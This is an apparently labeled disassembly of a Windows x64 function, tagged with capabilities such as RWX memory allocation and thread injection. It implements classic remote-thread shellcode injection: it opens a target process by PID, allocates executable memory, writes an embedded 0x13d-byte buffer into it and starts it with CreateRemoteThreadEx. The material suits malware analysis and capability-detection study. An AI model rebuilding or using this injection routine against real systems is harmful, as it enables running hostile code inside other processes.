Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x198
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov r9, rdx
lea r8, [rsp + 0x40]
lea rax, [0x140003300]
mov ecx, 2
nop dword [rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [r8 - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [r8 - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [r8 - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [r8 - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [r8 - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [r8 - 0x20], xmm0
movups xmmword [r8 - 0x10], xmm1
sub rcx, 1
jne 0x140001030
movups xmm0, xmmword [rax]
mov rdx, qword [rax + 0x30]
movups xmm1, xmmword [rax + 0x10]
mov rcx, qword [r9 + 8]
movups xmmword [r8], xmm0
mov qword [rsp + 0x190], rbx
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rdx
mov edx, dword [rax + 0x38]
mov dword [r8 + 0x38], edx
movzx edx, byte [rax + 0x3c]
mov byte [r8 + 0x3c], dl
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov dword [0x140005684], eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [0x140005670], rax
test rax, rax
jne 0x140001128
lea rdx, str.____Failed_to_open_a_handle__Code:
call fcn.140001390
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
call fcn.140001560
mov eax, 0xffffffff
jmp 0x1400012fe
lea rdx, str.___Opened_a_handle_to_the_process_
call fcn.140001390
mov rdx, qword [0x140005670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
call fcn.140001560
mov rcx, qword [0x140005670]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x13d
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Allocated
mov qword [0x140005678], rax
call fcn.140001390
mov edx, 0x13d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes_with_rwx_permissions
call fcn.140001390
mov rcx, rax
call fcn.140001560
mov rdx, qword [0x140005678]
lea r8, [rsp + 0x40]
mov rcx, qword [0x140005670]
xor ebx, ebx
mov r9d, 0x13d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Written
call fcn.140001390
mov edx, 0x13d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes_to_the_process_memory
call fcn.140001390
mov rcx, rax
call fcn.140001560
mov r9, qword [0x140005678]
lea rax, [0x140005680]
mov rcx, qword [0x140005670]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [0x140005668], rax
test rax, rax
jne 0x14000128e
lea rdx, str.____Failed_to_create_a_handle_to_the_thread__Code:
call fcn.140001390
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
call fcn.140001560
mov rcx, qword [0x140005670]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400012fe
lea rdx, str.___Opened_a_handle_to_the_thread_
call fcn.140001390
mov rdx, qword [0x140005668]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, str._ID:
call fcn.140001390
mov edx, dword [0x140005680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
call fcn.140001560
mov rcx, qword [0x140005668]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140005670]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005668]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140001730
add rsp, 0x198
ret